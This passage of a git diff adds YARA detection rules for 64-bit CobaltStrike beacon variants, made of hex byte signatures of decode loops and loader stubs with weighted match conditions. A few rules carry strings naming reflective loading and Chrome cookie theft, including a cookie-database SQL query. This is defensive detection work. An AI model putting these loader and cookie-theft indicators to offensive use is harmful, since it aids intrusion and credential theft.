$a_01_0 = {8b c3 ff c3 83 e0 07 42 8a 04 20 30 07 48 ff c7 3b de 7c e6 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FONE_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FONE_MTB.yar new file mode 100644 index 0000000000..3019cc486a --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FONE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_FONE_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.FONE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 98 0f b6 44 05 90 88 85 96 00 00 00 48 8b 95 c0 00 00 00 48 8b 85 98 00 00 00 48 01 d0 0f b6 00 48 8b 8d c8 00 00 00 48 8b 95 98 00 00 00 48 01 ca 32 85 96 00 00 00 88 02 48 83 85 98 00 00 00 01 48 8b 85 98 00 00 00 48 3b 85 d0 00 00 00 0f 82 01 ff ff ff } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FTA_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FTA_MTB.yar new file mode 100644 index 0000000000..08250cc1ec --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FTA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_FTA_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.FTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 63 f6 89 f3 49 0f af db 48 c1 eb 24 8d 2c 5b c1 e5 03 29 eb 01 f3 0f b6 1c 1a 32 1c 37 88 1c 31 ff c6 83 fe 0d 4c 89 d7 49 0f 44 f9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FTW_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FTW_MTB.yar new file mode 100644 index 0000000000..8b22bb21df --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_FTW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_FTW_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.FTW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 98 0f b6 44 05 c0 88 85 fe 08 00 00 48 8d 95 d0 00 00 00 48 8b 85 28 09 00 00 48 01 d0 0f b6 00 48 8b 8d 08 09 00 00 48 8b 95 28 09 00 00 48 01 ca 32 85 fe 08 00 00 88 02 48 83 85 28 09 00 00 01 48 8b 85 28 09 00 00 48 3b 85 18 09 00 00 0f 82 01 ff ff ff } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GLA_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GLA_MTB.yar new file mode 100644 index 0000000000..9bc4d25f60 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GLA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_CobaltStrike_GLA_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.GLA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 00 " + + strings : + $a_01_0 = {45 0f b6 7c 01 02 48 ff c6 45 31 e7 45 31 ef } //4 + $a_01_1 = {44 88 7c 1e ff 48 ff c0 4c 39 d8 } //4 + $a_01_2 = {61 6c 6d 6f 75 6e 61 68 2f 67 6f 2d 62 75 65 6e 61 2d 63 6c 72 } //1 almounah/go-buena-clr + $a_01_3 = {62 75 65 6e 61 76 69 6c 6c 61 67 65 } //1 buenavillage + $a_01_4 = {47 6f 20 62 75 69 6c 64 20 49 44 3a } //1 Go build ID: + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*4+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GTB_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GTB_MTB.yar new file mode 100644 index 0000000000..9ac9c8a89d --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GTB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_GTB_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.GTB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {48 89 da 48 89 44 24 ?? 4d 63 c8 41 83 c0 ?? 47 0f b6 0c 0a 44 30 0a 4c 8d 4a ?? 4d 39 cb ?? ?? 41 83 f8 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GVA_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GVA_MTB.yar new file mode 100644 index 0000000000..8c293fdb54 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_GVA_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 2b c1 48 89 44 24 78 48 8b 44 24 20 48 ff c0 48 89 44 24 20 8b 44 24 78 89 44 24 5c 8b 44 24 50 c1 e0 12 8b 4c 24 54 c1 e1 0c 0b c1 8b 4c 24 58 c1 e1 06 0b c1 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GVD_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GVD_MTB.yar new file mode 100644 index 0000000000..209aae7657 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GVD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_GVD_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.GVD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 03 c8 0f b6 01 41 88 04 38 44 88 09 41 0f b6 0c 38 49 03 c9 0f b6 c1 0f b6 4c 04 20 30 4d 00 48 ff c5 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GZK_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GZK_MTB.yar new file mode 100644 index 0000000000..b3069bff85 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GZK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_CobaltStrike_GZK_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.GZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 00 " + + strings : + $a_01_0 = {4c 03 d2 48 03 fa 45 33 c9 45 8b 02 41 8b c9 4c 03 c2 41 8a 00 49 ff c0 c1 c9 0d 0f be c0 03 c8 41 8a 00 84 c0 } //5 + $a_01_1 = {50 33 c9 41 b8 00 30 00 00 44 8d 49 40 41 ff } //5 + $a_01_2 = {3f 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 40 40 59 41 5f 4b 50 45 41 58 40 5a } //1 ?ReflectiveLoader@@YA_KPEAX@Z + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5+(#a_01_2 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GZQ_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GZQ_MTB.yar new file mode 100644 index 0000000000..2e1ae60dd8 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GZQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_GZQ_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.GZQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {44 88 3c 30 48 ff c6 48 89 b5 ?? ?? ?? ?? 48 81 fe ?? ?? ?? ?? ?? ?? 89 f0 83 e0 0f 46 0f b6 3c 36 44 32 bc 05 ?? ?? ?? ?? 48 3b b5 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GZZ_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GZZ_MTB.yar new file mode 100644 index 0000000000..2aff85a15c --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_GZZ_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win64_CobaltStrike_GZZ_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {33 c9 c7 44 24 ?? 00 00 00 00 ba ?? ?? ?? ?? 41 b8 00 30 00 00 44 8d 49 ?? ff 15 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_Win64_CobaltStrike_GZZ_MTB_2{ + meta: + description = "Trojan:Win64/CobaltStrike.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {46 88 24 30 49 ff c6 4c 89 b5 ?? ?? ?? ?? 49 81 fe ?? ?? ?? ?? ?? ?? 44 89 f0 83 e0 0f 47 0f b6 24 3e 44 32 64 05 b0 4c 3b b5 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_HAZ_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_HAZ_MTB.yar new file mode 100644 index 0000000000..6ef1ad38bf --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_HAZ_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_CobaltStrike_HAZ_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.HAZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 00 " + + strings : + $a_01_0 = {33 c9 41 b9 40 00 00 00 41 b8 00 30 00 00 41 ff d6 48 8b f0 } //5 + $a_03_1 = {8b d0 ff c0 0f b6 0c 17 88 0c 16 41 3b 44 24 ?? 72 } //4 + $a_01_2 = {52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 } //1 ReflectiveLoader + $a_01_3 = {53 45 4c 45 43 54 20 68 6f 73 74 5f 6b 65 79 2c 20 6e 61 6d 65 2c 20 65 6e 63 72 79 70 74 65 64 5f 76 61 6c 75 65 20 46 52 4f 4d 20 63 6f 6f 6b 69 65 73 3b } //1 SELECT host_key, name, encrypted_value FROM cookies; + $a_01_4 = {63 68 72 6f 6d 65 5f 64 65 63 72 79 70 74 2e 6c 6f 67 } //1 chrome_decrypt.log + condition: + ((#a_01_0 & 1)*5+(#a_03_1 & 1)*4+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_HMZ_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_HMZ_MTB.yar new file mode 100644 index 0000000000..48d69b1761 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_HMZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_HMZ_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.HMZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {48 98 0f b6 44 05 b0 83 f0 0a 8b 95 4c 03 00 00 48 63 d2 88 44 15 b0 83 85 4c 03 00 00 01 8b 85 4c 03 00 00 3b 85 ?? 03 00 00 7c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_INC_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_INC_MTB.yar new file mode 100644 index 0000000000..f94199e481 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_INC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_INC_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.INC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {32 85 fe 17 00 00 89 c2 8b 85 e8 18 00 00 48 98 88 94 05 b0 07 00 00 8b 85 e8 18 00 00 48 98 0f b6 84 05 b0 07 00 00 32 85 ff 18 00 00 89 c2 8b 85 e8 18 00 00 48 98 88 94 05 b0 07 00 00 80 85 ff 18 00 00 01 83 85 e8 18 00 00 01 8b 85 e8 18 00 00 3d 1f 08 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_IS_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_IS_MTB.yar new file mode 100644 index 0000000000..850becb8b8 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_IS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_IS_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.IS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 98 48 8b 95 ?? ?? ?? ?? 48 01 d0 0f b6 00 32 85 ?? ?? ?? ?? 48 8b 8d ?? ?? ?? ?? 8b 95 ?? ?? ?? ?? 48 63 d2 88 04 11 83 85 ?? ?? ?? ?? ?? 8b 95 ?? ?? ?? ?? 8b 85 ?? ?? ?? ?? 39 c2 72 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_IT_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_IT_MTB.yar new file mode 100644 index 0000000000..8be4ff6314 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_IT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_IT_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.IT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 89 45 f8 48 8b 55 10 48 8b 45 f8 41 b8 0a 00 00 00 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 48 89 45 f0 48 8b 55 f0 48 8b 45 f8 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 48 89 45 e8 48 8b 55 f0 48 8b 45 f8 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 48 8b 55 20 89 02 48 8b 45 e8 48 89 c1 48 8b 05 ?? ?? ?? ?? ff d0 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_IV_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_IV_MTB.yar new file mode 100644 index 0000000000..25f6a2c40e --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_IV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_IV_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.IV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 63 c2 48 8d 8c 24 ?? ?? ?? ?? 48 03 c8 0f b6 01 41 88 04 30 44 88 09 41 0f b6 0c 30 49 03 c9 0f b6 c1 0f b6 8c 04 ?? ?? ?? ?? 41 30 0a 49 ff c2 49 83 eb ?? 75 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_JHG_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_JHG_MTB.yar new file mode 100644 index 0000000000..09f34cfa00 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_JHG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_JHG_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.JHG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 89 c8 49 f7 e0 48 c1 ea ?? 48 8d 04 52 48 89 ca 48 01 c0 48 29 c2 0f b6 44 14 ?? 32 04 0e 88 04 0b 48 83 c1 ?? 48 81 f9 ?? ?? ?? ?? 75 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_LIT_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_LIT_MTB.yar index 4c7daeca9f..7195452aef 100644 --- a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_LIT_MTB.yar +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_LIT_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win64_CobaltStrike_LIT_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.LIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {48 8b d6 48 2b d7 88 04 17 ff c1 8b c1 48 ff c7 25 03 00 00 80 7d ?? ff c8 83 c8 fc ff c0 48 98 8a 04 18 32 07 75 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_Win64_CobaltStrike_LIT_MTB_2{ meta: description = "Trojan:Win64/CobaltStrike.LIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_MBX_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_MBX_MTB.yar new file mode 100644 index 0000000000..94ec58e2d7 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_MBX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_CobaltStrike_MBX_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.MBX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 0e 48 01 d9 48 8d 54 24 2c 49 89 f8 e8 d9 6b 00 00 48 01 fb 48 89 5e 10 48 83 c4 30 } //1 + $a_01_1 = {4c bc 00 00 00 30 02 00 00 be 00 00 00 18 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f8 02 00 00 00 f0 02 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_MBY_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_MBY_MTB.yar new file mode 100644 index 0000000000..205654c39b --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_MBY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_CobaltStrike_MBY_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.MBY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 48 89 7c 24 20 33 ff 4d 8d 59 ff 49 8b e8 48 8b da 48 8b f1 4c 3b } //2 + $a_01_1 = {dc 97 00 00 00 f0 00 00 00 98 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_PGCS_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_PGCS_MTB.yar new file mode 100644 index 0000000000..8a23e71d83 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_PGCS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_PGCS_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.PGCS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {31 d2 f7 f1 8b 44 24 ?? 89 d1 0f b6 4c 0c ?? 31 c8 88 c2 48 8b 44 24 ?? 8b 4c 24 ?? 88 14 08 8b 44 24 ?? 83 c0 01 89 44 24 ?? eb } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_QQK_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_QQK_MTB.yar new file mode 100644 index 0000000000..6d321b9b41 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_QQK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_QQK_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.QQK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {4d 01 ef 89 bd e2 fe ff ff 4c 31 8d c7 fe ff ff 4c 8b 9d 4b ff ff ff 66 89 c2 8b 95 31 ff ff ff 21 c1 89 8d 0f ff ff ff 4c 2b bd 25 ff ff ff 0f b6 c8 89 c0 4c 31 bd ?? ?? ?? ?? 49 c7 c2 12 d2 00 00 4c 89 3d 9e e6 02 00 4c 8b 85 ?? ?? ?? ?? 4c 01 c1 49 c7 c0 21 e0 00 00 89 85 10 ff ff ff 48 ff 04 24 48 83 3c 24 03 0f 8e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_RA_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_RA_MTB.yar index 723217c97b..0c431e2839 100644 --- a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_RA_MTB.yar +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_RA_MTB.yar @@ -3,13 +3,23 @@ rule Trojan_Win64_CobaltStrike_RA_MTB{ meta: description = "Trojan:Win64/CobaltStrike.RA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : + $a_01_0 = {49 63 c6 48 8b 4d 88 0f b6 4c 08 01 30 4c 15 50 c6 44 24 7c 00 48 8d 55 e0 48 8d 4c 24 7c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win64_CobaltStrike_RA_MTB_2{ + meta: + description = "Trojan:Win64/CobaltStrike.RA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : $a_03_0 = {f7 ee c1 fa 03 8b c2 c1 e8 1f 03 d0 8b c6 ff c6 6b d2 21 2b c2 48 63 c8 48 8d 05 ?? ?? ?? ?? 8a 04 01 43 32 04 01 41 88 00 49 ff c0 3b f7 72 } //1 condition: ((#a_03_0 & 1)*1) >=1 } -rule Trojan_Win64_CobaltStrike_RA_MTB_2{ +rule Trojan_Win64_CobaltStrike_RA_MTB_3{ meta: description = "Trojan:Win64/CobaltStrike.RA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_RY_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_RY_MTB.yar new file mode 100644 index 0000000000..732a9d6f7e --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_RY_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win64_CobaltStrike_RY_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.RY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8a 14 08 41 30 14 08 48 8d 51 01 48 89 d1 49 39 d1 75 ed } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Trojan_Win64_CobaltStrike_RY_MTB_2{ + meta: + description = "Trojan:Win64/CobaltStrike.RY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 04 24 0f b6 4c 24 30 48 8b 54 24 20 0f be 04 02 33 c1 8b 0c 24 48 8b 54 24 20 88 04 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_VST_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_VST_MTB.yar new file mode 100644 index 0000000000..411057804e --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_VST_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_VST_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.VST!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 98 0f b6 84 05 90 00 00 00 88 85 96 01 00 00 48 8b 95 c0 01 00 00 48 8b 85 98 01 00 00 48 01 d0 0f b6 00 48 8b 8d c8 01 00 00 48 8b 95 98 01 00 00 48 01 ca 32 85 96 01 00 00 88 02 48 83 85 98 01 00 00 01 48 8b 85 98 01 00 00 48 3b 85 d0 01 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_WQ_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_WQ_MTB.yar new file mode 100644 index 0000000000..66770db3c2 --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_CobaltStrike_WQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CobaltStrike_WQ_MTB{ + meta: + description = "Trojan:Win64/CobaltStrike.WQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f b7 47 14 48 8d 14 9b 4c 01 e8 48 8d 34 d0 4c 89 f2 48 89 f1 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_Cobaltstrike_OJU_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_Cobaltstrike_OJU_MTB.yar new file mode 100644 index 0000000000..e8fe31091c --- /dev/null +++ b/Trojan/Win64/CobaltStrike/Trojan_Win64_Cobaltstrike_OJU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Cobaltstrike_OJU_MTB{ + meta: + description = "Trojan:Win64/Cobaltstrike.OJU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 89 f1 e8 ?? ?? ?? ?? 48 83 fa ?? 75 ?? 8b 08 ba ?? ?? ?? ?? 31 d1 8b 40 ?? ba ?? ?? ?? ?? 31 d0 09 c8 0f 84 ?? ?? ?? ?? 0f 1f 80 ?? ?? ?? ?? 48 83 7c 24 ?? ?? 74 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/CobaltStrike/Trojan_Win64_Cobaltstrike_RUS_MTB.yar b/Trojan/Win64/CobaltStrike/Trojan_Win64_Cobaltstrike_RUS_MTB.yar index 0c54bdb3ad..e45f94419a 100644 --- a/Trojan/Win64/CobaltStrike/Trojan_Win64_Cobaltstrike_RUS_MTB.yar +++ 